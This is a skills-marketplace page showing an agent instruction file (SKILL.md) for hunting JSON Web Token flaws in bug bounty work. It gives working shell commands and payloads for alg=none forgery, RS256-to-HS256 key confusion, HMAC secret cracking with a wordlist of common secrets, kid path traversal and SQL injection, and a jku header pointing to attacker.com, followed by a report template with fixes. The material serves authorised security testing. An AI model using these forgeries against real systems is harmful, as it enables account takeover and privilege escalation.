본문으로 건너뛰기
cccskills
무료GitHub에 공개

jwt-attacks

Hunt JSON Web Token (JWT) vulnerabilities — alg=none bypass, RS256→HS256 key confusion, weak HMAC secret cracking, kid path traversal, JWKS injection, jku/x5u header attacks, embedded JWK confusion, expired-token acceptance, claim mutability, and token replay. Use when an app uses JWT for authentication or stateless sessions.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

설치 방법 보기

포함된 파일(1)

  • SKILL.md10.2 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

JWT Attacks

Bearer token = signed JSON. Signing wrong = pwned.

When to invoke

Trigger phrases:

  • "JWT bypass"
  • "alg=none"
  • "JWT key confusion"
  • "token attack"
  • "Bearer token"

JWT primer

header.payload.signature
└──┬──┘ └───┬───┘ └───┬───┘
   │       │         │
   │       │         └── HMAC or RS/ES signature over base64url(header) + "." + base64url(payload)
   │       └── base64url-encoded JSON: claims (sub, exp, role, etc.)
   └── base64url-encoded JSON: algorithm + key info

Standard header:

{"alg":"HS256","typ":"JWT"}

Standard payload:

{"sub":"user@example.com","role":"user","exp":1717267200}

The 10 JWT attack patterns

Attack 1: alg=none

The "none" algorithm explicitly means no signature. Some libs accept it.

# Original token
ORIG="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIn0.SIGNATURE"

# Modified
HDR=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD."   # No signature, but valid format

Try variants:

  • alg: "none" ← classic
  • alg: "None" ← capitalization
  • alg: "NONE"
  • alg: "nOnE"
  • alg: ""

Attack 2: RS256 → HS256 key confusion

If server uses RS256 (public/private), and accepts HS256 (symmetric), you can sign with the public key as the HMAC secret.

# Get the public key (often at /.well-known/jwks.json or /jwks)
curl https://target.com/.well-known/jwks.json
# Or embedded in pages, or sometimes published

# Convert JWK to PEM
# Or simply find the cert/pubkey

PUBKEY=public.pem

# Forge HS256 JWT using public key as secret
# Use jwt_tool:
python3 jwt_tool.py "$ORIG_TOKEN" -X k -pk "$PUBKEY"

# Or manually:
HDR=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PUBKEY_CONTENT=$(cat "$PUBKEY")
SIG=$(echo -n "$HDR.$PLD" | openssl dgst -sha256 -mac HMAC -macopt "key:$PUBKEY_CONTENT" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR.$PLD.$SIG"

Attack 3: Weak HMAC secret (crack it)

If HS256 with a weak secret like "secret" or "1234":

# jwtcat (fast)
jwtcat "$JWT_TOKEN" -w ~/tools/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# hashcat (faster)
echo "$JWT_TOKEN" > hash.txt
hashcat -m 16500 hash.txt ~/tools/SecLists/Passwords/rockyou.txt

# John
john --format=HMAC-SHA256 --wordlist=rockyou.txt hash.txt

Common weak secrets to try first:

secret
1234
admin
password
JWT_SECRET
your-256-bit-secret
my-very-secret-key
SECRET_KEY
test
key
abcdefg
HelloWorld
mysecret
JWT

Attack 4: kid (key ID) path traversal

kid tells the server which key to use. If it's read from filesystem:

{"alg":"HS256","kid":"../../../../../../dev/null","typ":"JWT"}

Server reads /dev/null → empty file → HMAC key is empty → forge token with empty key:

HDR='{"alg":"HS256","kid":"../../../../../dev/null","typ":"JWT"}'
PLD='{"sub":"admin"}'
HDR_B64=$(echo -n "$HDR" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
PLD_B64=$(echo -n "$PLD" | base64 -w 0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HDR_B64.$PLD_B64" | openssl dgst -sha256 -mac HMAC -macopt "key:" -binary | base64 -w 0 | tr '+/' '-_' | tr -d '=')
echo "$HDR_B64.$PLD_B64.$SIG"

Attack 5: kid SQL injection

If kid is fed into a SQL query for key lookup:

{"alg":"HS256","kid":"x' UNION SELECT 'attacker-secret","typ":"JWT"}

Then forge with secret attacker-secret.

Attack 6: jku / x5u header

jku and x5u point to a URL with the JWKS / certificate. If not validated against an allowlist:

{
  "alg":"RS256",
  "typ":"JWT",
  "jku":"https://attacker.com/jwks.json"
}

Server fetches https://attacker.com/jwks.json → uses your public key → you sign with your private key → server trusts.

Set up the JWKS on attacker.com:

{
  "keys": [{
    "kty":"RSA",
    "kid":"my-key-id",
    "n":"...",
    "e":"AQAB"
  }]
}

Attack 7: Embedded JWK (jwk header)

If jwk header is in the JWT, server might use it as the verification key:

{
  "alg":"RS256",
  "typ":"JWT",
  "jwk":{
    "kty":"RSA",
    "kid":"abc",
    "n":"<YOUR_PUBLIC_N>",
    "e":"AQAB"
  }
}

Same as jku attack but inline.

Attack 8: Expired token reuse

Some implementations don't check exp:

# Take an expired token (yesterday's session)
# Send it → if accepted, bug

# Or modify `exp` to past, then sign with cracked secret

Attack 9: Claim mutability without re-sign verification

Some apps decode JWT but don't verify signature for certain endpoints:

# Modify payload claims (without re-signing)
# Decode → change "role": "user" → "role": "admin" → re-encode → send

# Some apps "trust client" for non-critical paths but pull role from JWT for auth checks

Attack 10: JWT in URL (logged → leaked)

If JWT is passed as URL parameter (?token=...):

  • Tokens logged in proxy logs
  • Tokens in Referer headers to 3rd parties
  • Tokens in browser history

Report as info disclosure + chain.

Step-by-Step Workflow

1. Capture JWTs from the app

Login flow → look in:

  • Authorization: Bearer ... header
  • Cookie: jwt=... or similar
  • URL parameters (?token=)
  • LocalStorage (via browser devtools)
  • WebSocket connection upgrade headers

2. Decode (use jwt.io or CLI)

# Quick decode
echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null

Or:

# jwt_tool
python3 jwt_tool.py "$JWT"

Note:

  • alg value
  • Claims: sub, role, email, iat, exp, iss, aud, tenant_id, etc.
  • Custom headers (kid, jku, x5u, jwk)

3. Identify mutable claims

For each claim, try changing it (with re-signed token if needed):

  • role: "user" → "admin" / "superadmin" / "root"
  • email: "you@x.com" → "victim@x.com" (if email used for auth)
  • tenant_id: 1 → other tenant IDs (cross-tenant)
  • is_admin: false → true
  • permissions: ["read"] → ["*"] / ["admin"]

4. Try alg=none

Send modified token with alg: "none". If accepted → critical.

5. Test for weak HMAC

jwtcat "$JWT" -w wordlist.txt

6. Try kid path traversal

python3 jwt_tool.py "$JWT" -X i  # injection mode

7. Use jwt_tool comprehensive

# All-tests mode (runs every attack)
python3 jwt_tool.py "$JWT" -M at

# Specific attack
python3 jwt_tool.py "$JWT" -X k -pk public.pem    # key confusion
python3 jwt_tool.py "$JWT" -X a                   # alg=none
python3 jwt_tool.py "$JWT" -X i                   # injection
python3 jwt_tool.py "$JWT" -X k -jw key.jwk       # JWK

8. Use Burp extension (JSON Web Tokens)

Burp BApp Store → install "JSON Web Tokens" (or "JWT Editor"). Auto-decodes and re-signs.

Output template

## Critical: Authentication bypass via JWT alg=none

### Summary
The JWT validator on api.target.com accepts tokens with `alg: "none"`. By stripping the signature, any attacker can forge a token for any user, including administrators.

### Steps to reproduce
1. Capture a valid JWT from a normal login:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MTc1NTQwMDB9.SIGNATURE

2. Decode payload, change `sub` to `admin@target.com` and `role` to `admin`
3. Create forged token with `alg: "none"`:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbkB0YXJnZXQuY29tIiwicm9sZSI6ImFkbWluIiwiZXhwIjoyMDAwMDAwMDAwfQ.

(Note trailing `.` — empty signature)
4. Send to admin endpoint:
```http
GET /api/v3/admin/users HTTP/1.1
Host: api.target.com
Authorization: Bearer <forged-token>
  1. Response: 200 OK with full admin user list

Impact

  • Full administrative access without credentials
  • Any user can become any other user, including admins
  • Bypass of all role-based access controls

Suggested fix

  • Reject any JWT with alg: "none"
  • Use a strict allowlist of algorithms (HS256 or RS256 only, never both interchangeably)
  • Use a well-tested JWT library (jose, jjwt) with proper defaults

## Cross-references

- `[[auth-bypass]]` — JWT is one of many auth bypass paths
- `[[ato-chains]]` — JWT manipulation often = ATO
- `[[js-analysis]]` — JS bundles may leak JWT signing keys or test JWTs

## Common pitfalls

1. **Modifying claims without re-signing.** Most libs verify signature → modification rejected. You must crack/forge.
2. **Reporting "JWT in URL" alone.** Need impact chain.
3. **Trusting decoded payload as "secret".** JWT is signed, not encrypted. Anyone can decode.
4. **Testing alg=none on a single endpoint.** Often only specific endpoints have weak validation.
5. **Forgetting `exp` check.** Some test tokens succeed because `exp` happens to be valid.

## Quick JWT triage checklist

[ ] alg = none → critical [ ] HS256 cracked secret → critical [ ] RS256 → HS256 confusion → critical [ ] kid path traversal → critical [ ] jku not validated → critical [ ] embedded jwk → critical [ ] exp not validated → high (replay) [ ] iss not validated → medium (depends on impact) [ ] aud not validated → medium (cross-app reuse) [ ] role mutable + no re-sign check → critical


## Severity guide

| Finding | Severity |
|---|---|
| alg=none accepted | Critical |
| HS256 with crackable secret (< 8 chars) | Critical |
| Key confusion (RS→HS) | Critical |
| kid injection (path traversal / SQLi) | Critical |
| jku/x5u not validated | Critical |
| exp not enforced + replayable token | High |
| Token leaked via URL/log | Medium-High |
| JWT in non-HttpOnly cookie | Medium (combined with XSS = high) |

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

0xGhostCAT/claude-ai-cyber-security-skills442026년 6월 3일 업데이트

0xGhostCAT의 스킬 모두 보기

이 스킬의 문제 신고